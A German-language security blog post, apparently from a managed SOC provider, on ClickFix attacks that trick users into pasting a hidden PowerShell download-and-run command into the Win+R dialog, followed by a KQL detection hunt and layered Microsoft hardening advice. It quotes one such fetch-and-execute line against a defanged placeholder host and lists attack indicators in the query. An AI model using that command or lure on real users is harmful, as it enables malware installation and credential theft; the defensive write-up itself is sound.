ClickFix. Wenn der Nutzer der Exploit ist, und wie ihr das stoppt

Die ClickFix-Angriffskette

ClickFix ist ein Angriff, bei dem Nutzer zu ihrem eigenen Angreifer werden. Kein Exploit, keine Schwachstelle. Das Opfer führt den Schadcode selbst aus, mit einem einzigen Copy-Paste.

Der Köder ist Social Engineering: ein gefälschtes CAPTCHA auf einer bösartigen Seite, eine falsche Support-Meldung ("dein Browser braucht ein Update"), eine Phishing-Mail oder eine gefälschte Meeting-Seite. Während das Opfer auf der Seite ist, schreibt JavaScript den Payload über clipboard.writeText() in die Zwischenablage. Dann fordert die Seite den Nutzer auf, Win+R, Strg+V und Enter zu drücken. Der Ausführen-Dialog startet, was in der Zwischenablage liegt.

Ein typischer Köder sieht so aus:

Der Befehl, den er in die Zwischenablage legt, sieht so aus:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

Zwei Dinge passieren gleichzeitig. PowerShell startet in einem versteckten Fenster (-w h), und iex(irm …) lädt den Payload und führt ihn direkt im Speicher aus. Nichts landet auf der Platte, signaturbasiertes Antivirus hat also nichts zu scannen. Die zweite Stufe ist meist ein Infostealer (Lumma, Vidar, RedLine, StealC), ein Remote Access Trojaner oder ein Ransomware-Loader.

Dasselbe Muster in der Microsoft-Defender-Telemetrie, ein verstecktes PowerShell, gestartet aus Windows Terminal, das iex(irm …) ausführt:

Warum das so gut funktioniert: Alles läuft im Nutzerkontext, ohne erhöhte Rechte. Cookies, gespeicherte Passwörter und Session-Tokens liegen in Reichweite eines Standardnutzers. Der Angreifer muss keine Rechte eskalieren, um an das zu kommen, wofür er gekommen ist.

Was Microsoft Defender erkennt

Microsoft hat in den letzten Monaten viel in die ClickFix-Erkennung investiert. Wenn euer Defender gesund und richtig konfiguriert ist, bekommt ihr native Erkennungen für ClickFix-Payloads. Seit Q2 2025 veröffentlicht MDE verhaltensbasierte Alerts unter Titeln wie "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" oder "An active 'Pacalau' malware in a command line was prevented from executing". Sie feuern aus der MDE-Cloud-Engine über die Analyse der Prozesskette, parallel zur AV-Erkennung und oft ein paar Sekunden früher.

Die Konfiguration, die das möglich macht, steht weiter unten bei der Härtung der Ausführung.

Wo die native Erkennung an ihre Grenzen kommt

Cloud-basierte ML-Signaturen brauchen Zeit, bis sie auslösen. Wir sehen regelmäßig eine Lücke von über einer Minute zwischen dem PowerShell-Start und dem Defender-Alert. Ein schnellerer Payload rutscht durch dieses Fenster.

Angreifer passen sich außerdem schnell an. Tausche powershell gegen mshta http://... oder msiexec /i http://..., beides klassische LOLBins, und die PowerShell-spezifischen Erkennungen greifen nicht mehr.

Die Lücke schließen: ein RunMRU-Hunt

Diese Lücke schließen wir mit Custom Detections. Ausgangspunkt ist eine KQL-Abfrage auf den Registry-Key RunMRU, der jeden Befehl mitschreibt, den ein Nutzer in den Win+R-Dialog tippt.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

Die Abfrage markiert jeden Win+R-Eintrag, der wie ein ClickFix-Befehl aussieht: PowerShell, mshta, curl oder msiexec zusammen mit typischen Indikatoren wie -w hidden, iex, irm, DownloadString oder Base64-kodierten Payloads. Sie fängt auch die subtilen Tricks. Das grüne Häkchen-Emoji, das viele gefälschte CAPTCHA-Köder vor den Befehl setzen. Unicode-Zeichen aus kyrillischen, arabischen oder thailändischen Bereichen, mit denen Angreifer Text tarnen und einfache String-Filter umgehen. Taucht eines dieser Muster in einem Win+R-Eintrag auf, läuft sehr wahrscheinlich gerade ein ClickFix-Angriff.

Für unsere CSOC-Kunden betreiben wir diese und weitere Custom Detections, um die Lücke zwischen neuen Angriffstechniken und der eingebauten Erkennung zu schließen.

Schutz-Layer 1: die Zustellung blockieren

Jetzt zur Prävention. ClickFix ist verbreitet und erfolgreich, ein einzelner Schutz reicht also nicht. Wir arbeiten in Layern, von der Zustellung bis zur Ausführung.

Network Protection blockiert bekannte Delivery-Domains und C2-Server für alle Browser. MDE Web Content Filtering ergänzt Kategorien wie "Newly registered domains", "Hacking" und "Illegal Software". Network Protection ist in Windows eingebaut, aber für Drittanbieter-Browser müsst ihr QUIC und ECH deaktivieren, weil beide die komplette Verbindung verschlüsseln und die Zieldomain verbergen. Deaktiviert QUIC in Chrome und Firefox per Enterprise-Policy (QuicAllowed = Disabled in Chrome, network.http.http3.enable = false in Firefox); für ECH setzt ihr in Chrome EncryptedClientHelloEnabled = Disabled.

Für Edge aktiviert ihr SmartScreen. Für Drittanbieter-Browser schaltet ihr deren eingebautes Safe Browsing ein. Das ist nicht dasselbe wie Network Protection, hilft aber beim Filtern schädlicher Seiten. Für den Mail-Vektor prüfen Safe Links und Safe Attachments Links und Anhänge, bevor Nutzer damit interagieren.

Der Haken: All das greift nur gegen bekannte Infrastruktur. Aktuelle ClickFix-Kampagnen laufen über frisch registrierte Infrastruktur, die zu spät identifiziert und blockiert wird, und manchmal über legitime Seiten, die ein Angreifer kompromittiert hat. Also schauen wir uns an, was schützt, nachdem der Köder zugestellt wurde.

Schutz-Layer 2: den Trick blockieren

Ein paar Edge-Features erhöhen die Hürde, während der Nutzer auf einer bösartigen Seite ist. Das Governen von Browser-Extensions verhindert, dass Nutzer bösartige oder kompromittierte Erweiterungen installieren, die ClickFix-Overlays einschleusen oder selbst die Zwischenablage manipulieren. Der Edge Enhanced Security Mode legt strengere Schutzmaßnahmen auf unbekannte und selten besuchte Seiten (JIT deaktiviert, Control Flow Guard, hardwaregestützter Stack-Schutz), was exploitbasierte Browser-Übernahmen deutlich erschwert. Typo Protection warnt vor typosquatted Domains (micros0ft.com, paypa1.com) und blockiert einen verbreiteten ClickFix-Delivery-Vektor über gefälschte Markendomains.

Technische Kontrollen sind nur die halbe Miete. Nutzer-Aufklärung bleibt entscheidend. Die eine Regel, die den größten Teil trägt: Wenn eine Webseite dich auffordert, etwas in deinen Computer einzufügen, ist es ein Angriff. Macht das im Awareness-Training konkret:

• Echte Köder zeigen: gefälschte "Verify you are human"-Checkboxen, "dein Browser braucht ein Update", "das Dokument konnte nicht gerendert werden, führe diesen Fix aus", kaputte Teams- oder Zoom-Audio-Prompts.
• Den Clipboard-Trick vorführen: zeigen, wie die Seite die Zwischenablage still überschreibt.
• Melden einfach machen: schnell und ohne Schuldzuweisung.

Schutz-Layer 3: die Aktion blockieren

Hier gibt es ein paar Möglichkeiten, das System zu härten, keine davon ist eine Garantie. Fangt damit an, den Ausführen-Dialog zu deaktivieren, das entfernt den Win+R-Einstiegspunkt. Microsofts ClickFix-Guidance empfiehlt, ihn zu deaktivieren, "where it isn't necessary". Das schließt den spezifischen Win+R-Paste-Angriff, aber alternative Startflächen bleiben, etwa die Explorer-Adressleiste und Windows Terminal.

Ihr könnt Edge zusätzlich mit DefaultClipboardSetting härten, das verhindert, dass JavaScript still in die Zwischenablage schreibt.

Schutz-Layer 4: die Ausführung blockieren

Vor den fortgeschrittenen Features bringt die Grundlagen in Ordnung. Für ClickFix heißt das:

• Local Admin Reduction: lokale Administratorrechte wo möglich von Endnutzern entfernen, um die Wirkung einer Codeausführung zu begrenzen.
• Endpoint Privilege Management (EPM): Nutzer als Standardnutzer arbeiten lassen und nur freigegebene Apps über Policy-Regeln elevieren.
• UAC-Härtung: Secure-Desktop-Enforcement, Prompt-Verhalten für Admins und Standardnutzer sowie Installer-Erkennung prüfen.
• Credential Guard: NTLM-Hashes, Kerberos-Tickets und weiteres Credential-Material per virtualisierungsbasierter Sicherheit isolieren, damit Credential-Diebstahl schwer bleibt, selbst wenn ein Angreifer Adminrechte erlangt.

Diese Kontrollen reduzieren Eskalationsmöglichkeiten, schützen Credentials und erzwingen Least Privilege. Die Grenze dabei: Sie begrenzen, was nach einer Kompromittierung passiert. Sie halten einen Infostealer im Standardnutzer-Kontext nicht davon ab, für den Nutzer lesbare Cookies, Session-Tokens und App-Credential-Stores auszulesen.

Dann Microsoft Defender. Defender AV kann den Payload der zweiten Stufe erkennen, aber nur mit den richtigen Einstellungen: Cloud Protection einschalten und das Schutzlevel auf High oder High+ setzen. AMSI, das Antimalware Scan Interface, lässt Anwendungen Inhalte zur Laufzeit an Defender zur Prüfung übergeben, nachdem sie im Speicher entschlüsselt oder deobfuskiert wurden, aber bevor sie ausgeführt werden. PowerShell nutzt AMSI, um Schadcode zu identifizieren, und AMSI braucht Echtzeitschutz und Behavior Monitoring.

Mindestens fünf Attack-Surface-Reduction-Regeln sind gegen ClickFix relevant:

Rollt ASR erst im Audit-Modus aus, dann als Pilot, dann im Block-Modus. Tamper Protection ist die letzte Linie: Sie hindert den Angreifer daran, eure Erkennungen abzuschalten.

Bei PowerShell selbst reduziert ihr das Risiko durch Legacy-Interpreter. Identifiziert und entfernt, wo machbar, Windows PowerShell 2.0 und Legacy-VBScript-Komponenten, denen die Logging- und Security-Features neuerer Versionen fehlen. Der nächste Schritt ist der Constrained Language Mode (CLM), der die verfügbaren Sprachelemente von PowerShell einschränkt und viele skriptbasierte Techniken blockiert. CLM hat nur dann robusten Sicherheitswert, wenn eine System-Application-Control-Policy ihn erzwingt (App Control for Business); die Varianten über Umgebungsvariable und AppLocker sind schwächer und umgehbar. Und viele Systeme brauchen den Full Language Mode, um zu funktionieren, etwa Software-Deployment-Tooling, weshalb CLM oft nur in ausgewählten Umgebungen machbar ist.

Damit sind wir bei App Control for Business (früher WDAC). App Control erzwingt eine Code-Integritäts-Policy darüber, welche Executables, Skripte und Treiber laufen dürfen. Die strategische Haltung ist Default-Deny plus Microsofts empfohlene Block Rules, die bekannte LOLBin- und Bypass-Blockliste. App Control ist auch der korrekte Enforcement-Pfad für den PowerShell-CLM. Die Script Enforcement blockiert MSHTA- und MSXML-Skripthosts, zwingt PowerShell in den CLM und blockiert nicht erlaubten Windows-Script-Host-Einsatz. Ein paar Verhaltensfakten sind wichtig:

• Base Policies, die Windows vertrauen, blockieren vertraute LOLBins nicht automatisch. Ihr müsst Microsofts empfohlene Block Rules einmergen, um die bekannten Bypasses zu schließen.
• App Control hindert signierte powershell.exe oder cmd.exe nicht am Start. Es schränkt ein, was sie tun dürfen (CLM, kein unsignierter oder nicht erlaubter Payload) und regelt nicht den Inhalt von cmd.exe, .bat oder .cmd. Deshalb wird es mit ASR und Launch-Härtung geschichtet, nicht allein eingesetzt.
• Der Audit-Modus ist nicht neutral: Die Script Enforcement blockiert auch im Audit die Ausführung von MSHTA und MSXML und kann das PowerShell-CLM-Verhalten verändern. Deshalb muss App Control im Audit von der ersten Ausbringung an pilot- oder ring-begrenzt sein, nie flottenweit.

App Control ist die einzelne Kontrolle mit der höchsten Confidence gegen die Interpreter-, LOLBin- und Payload-Ausführungsphasen und erzwingt robusten CLM. Es trägt zugleich die höchste Deployment-Komplexität und das höchste Rollback-Risiko, denn eine Fehlkonfiguration blockiert die Ausführung. Führt es über kontrollierte Pilot-Ringe ein.

Wo wir ins Spiel kommen

ClickFix ist schnell, und Microsofts native Erkennungen decken das meiste ab, aber nicht alles. Für unsere CSOC-Kunden erweitern wir die Abdeckung laufend dort, wo Lücken auftauchen: Ausführung über Windows Terminal, RAT-getriebene Support-Scams und Post-Compromise-Verhalten. Wenn ihr wissen wollt, wo eure Umgebung steht, meldet euch.